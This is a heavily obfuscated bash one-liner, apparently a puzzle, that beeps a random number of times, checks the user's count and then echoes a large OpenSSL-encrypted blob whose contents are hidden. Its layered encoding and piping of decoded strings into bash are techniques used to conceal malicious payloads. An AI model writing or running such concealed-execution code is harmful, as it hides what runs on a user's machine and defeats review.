for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; $'\162\145\141\144' n </dev/tty; export n; if [ "$n" -ne "$l" ];then $'\x65\x78\x69\x74';fi; done;echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\162\145\141\144'  $'\u006e' </dev/tty; $'\u0065\u0078\u0070\u006f\u0072\u0074'  $'\156';echo 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